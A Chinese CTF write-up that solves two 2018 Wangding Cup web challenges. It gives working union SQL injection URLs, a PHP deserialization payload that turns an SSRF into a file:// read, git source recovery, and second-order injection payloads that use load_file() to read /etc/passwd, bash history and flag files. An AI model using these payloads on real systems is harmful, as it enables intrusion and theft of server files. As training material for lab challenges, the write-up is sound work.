记 2018 年网鼎杯的两个 Web

年的网鼎杯也快要来了,就想找上一届的 ctf 题目来看看,正好发现buuctf上面有三个 web (Fakebook,Comment,Unfinish),但最后一题不知道是我姿势有问题还是环境问题,总之只复现了两个 web。

Fakebook

考点:

  • php 代码审计
  • sql 注入
  • php 反序列化
  • ssrf

存在有 robots 文件,访问之得到源码地址 /user.php.bak ,于是下载

<?php

class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

一个 UserInfo 类,前面都是一些传参,主要的点在 get 方法中,其次 isValidBlog 方法对用户输入进行了过滤。

get 方法,先初始化 curl 会话,设置一个 url 链接,然后第二个 curl_setopt 里面是 1 ,表示如果成功只将结果返回,不输出任何内容。如果失败返回 FALSE ,随即运行 curl ,并返回执行结果。 $httpCode 用来获取 http 状态码。

分析了定义的 get 方法后,我们再来简单了解下 curl 的用法及特性,而且后面注册输入博客 url 时是会加载的,综合这些信息,可容易得出由于对 curl 控制不严导致存在 ssrf 漏洞, curl 支持多种协议:

Protocols: dict file ftp ftps gopher http https imap imaps pop3 pop3s rtsp scp sftp smb smbs smtp smtps telnet tftp

试想这里我们是不是可以利用 curl 支持的 file 协议来构造读取服务器内文件,但是由于 isValidBlog 方法的存在导致我们不能直接在注册处读取文件。

回到题目,先随意注册一个用户登录进去,可以选一些比如 baidu 之类的网址,会明显看到博客地址有被加载

18wdb-1

注意 url 的格式,可能存在注入

/view.php?no=1

查字段数: 4

/view.php?no=1 order by 4

联合查询显示 no hack ,利用注释符轻松绕过

/view.php?no=-1 union/**/select 1,2,3,4#

查库名为: fakebook

/view.php?no=-1 union/**/select 1,database(),3,4#

查表名为: users

/view.php?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'#

查列名: no , username , passwd , data

/view.php?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema='fakebook' and table_name='users'#

查出其中所有数据:

/view.php?no=-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from fakebook.users#

1zjundad271d633ebcf4f364ab8976fc5ea5035360d5420fc644a41cadc1b6098c98b901cf8c8609207dd774f2996c542115a20e36c9e06d0ec0f97dcedec30d59db6O:8:"UserInfo":3:{s:4:"name";s:4:"zjun";s:3:"age";i:19;s:4:"blog";s:21:"https://www.zjun.info";}

data 列存储的数据是序列化的字符串,可以利用前面的 ssrf 配合 file 协议构造 paylod 读取 flag 文件

先构造 pop 链(其实不构造也行,直接把上面的 博客地址 改成 flag 路径 ,再改下 字符长度 传过去即可)

<?php
class UserInfo{
    public $name = "";
    public $age = 0;
    public $blog = "";
}
$a=new UserInfo();
$a->name="zjun";
$a->blog="file:///var/www/html/flag.php";
echo serialize($a);
?>

php 执行一下输出

O:8:"UserInfo":3:{s:4:"name";s:4:"zjun";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

最终 payload

view.php?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"zjun";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

查看源码得:

data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3s5NGQ4OTk2OS04NTQyLTQwZGEtYjdiZS1kODMzNmM3NWVjMWR9IjsNCmV4aXQoMCk7DQo=

base64 解码:

echo 'PD9waHANCg0KJGZsYWcgPSAiZmxhZ3s5NGQ4OTk2OS04NTQyLTQwZGEtYjdiZS1kODMzNmM3NWVjMWR9IjsNCmV4aXQoMCk7DQo=' | base64 -d

flag

<?php

$flag = "flag{94d89969-8542-40da-b7be-d8336c75ec1d}";
exit(0);

除此之外还存在一非预期解法,由于有较高权限以及可用 load_file() 函数,所以可以直接构造 payload

/view.php?no=0 union/**/select 1,load_file('/var/www/html/flag.php'),3,4#

然后查看源码直接可得 flag

Comment

考点:

  • git 用法
  • php 代码审计
  • 二次注入
  • linux bash 杂点

来看看题,一个留言板,发帖跳转登录

18wdb-2

帐号给出了,密码简单爆破一下,得 zhangwei666 ,然后又来到发帖页面

18wdb-3

控制台发现 程序员 GIT 写一半跑路了,都没来得及 Commit 字样,由 gitcommit 判断可能存在 git 源码泄漏以及与 git 状态相关的东西,所以利用GitHacker工具,可连同 .git 目录一起下载下来。

查看 git 操作记录

git log --reflog

commit e5b2a2443c2b6d395d06960123142bc91123148c (refs/stash)
Merge: bfbdf21 5556e3a
Author: root <root@localhost.localdomain>
Date:   Sat Aug 11 22:51:17 2018 +0800

    WIP on master: bfbdf21 add write_do.php

commit 5556e3ad3f21a0cf5938e26985a04ce3aa73faaf
Author: root <root@localhost.localdomain>
Date:   Sat Aug 11 22:51:17 2018 +0800

    index on master: bfbdf21 add write_do.php

commit bfbdf218902476c5c6164beedd8d2fcf593ea23b (HEAD -> master)
Author: root <root@localhost.localdomain>
Date:   Sat Aug 11 22:47:29 2018 +0800

    add write_do.php

把第一行版本源码恢复出来

git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c

得到完整源码

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

审计代码发现当 get 传入的 do=write 时,利用 addslashes() 函数对 post 传入的变量进行转义,在每个双引号 " 前添加反斜杠

$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);

而当 do=comment 时,直接传入未进行有效过滤

$bo_id = addslashes($_POST['bo_id']);

源码中的 writecomment 分别对应 发帖留言 界面,结合二者和题目靶机结构,可以构造代码完成二次注入的操作。

下面来看看具体如何实现,留言界面,构造 sql 语句,源码是:

$sql = "insert into comment
        set category = '$category',
            content = '$content',
            bo_id = '$bo_id'";

构造如下:

$sql = "insert into comment
        set category = '',content=user(),/*',
            content = '*/#',
            bo_id = '$bo_id'";

发帖时,通过 addslashes() 函数转义存入数据库,再从数据库中查询放入 sql 语句,显示出来,这里没有进行转义,所以在留言时利用多行注释符 /**/ 即可闭合 sql 语句,执行我们的查询内容。

来看看效果:

18wdb-4

然后查看详情,留言处将其闭合:

18wdb-5

点击提交, sql 语句执行:

18wdb-6

接下来我们可以利用 sql 语句查询或配合 load_file() 函数读取服务器文件,直到读取到 flag 即可

/etc/passwd :

',content=load_file("/etc/passwd"),/*

18wdb-7

最后一行可见 wwwbash 身份运行,读 bash 历史操作 /home/www/.bash_history

',content=load_file("/home/www/.bash_history"),/*

18wdb-8

格式化一下操作如下:

cd /tmp/
unzip html.zip
rm -f html.zip
cp -r html /var/www/
cd /var/www/html/
rm -f .DS_Store
service apache2 start

注意 /var/www/html 中的 .DS_Store 被删除了,但是 /tmp/html 下的该文件还存在,读之(外加一层 hex 编码,不然会显示不全):

',content=hex(load_file("/tmp/html/.DS_Store")),/*

18wdb-9

字符很多,用小陈师傅的在线工具解码一下,可发现不是很清晰的 flag_8946e1ff1ee3e40f.php 字样

18wdb-10

又读之

',content=hex(load_file("/tmp/html/flag_8946e1ff1ee3e40f.php")),/*

解码后得假的 flag

<?php
$flag = 'flag{f9ca1a6b-9d78-11e8-90a3-c4b301b7b99b}';
?>

换个目录读,因为是复制过来的, /var/www/html/ 中也自然有这个 flag 文件,读之

',content=hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php")),/*

得真 flag

<?php
 $flag="flag{362afbce-ac8e-438f-b969-9b1ce19f874b}";
?>
修改链接格式
加载评论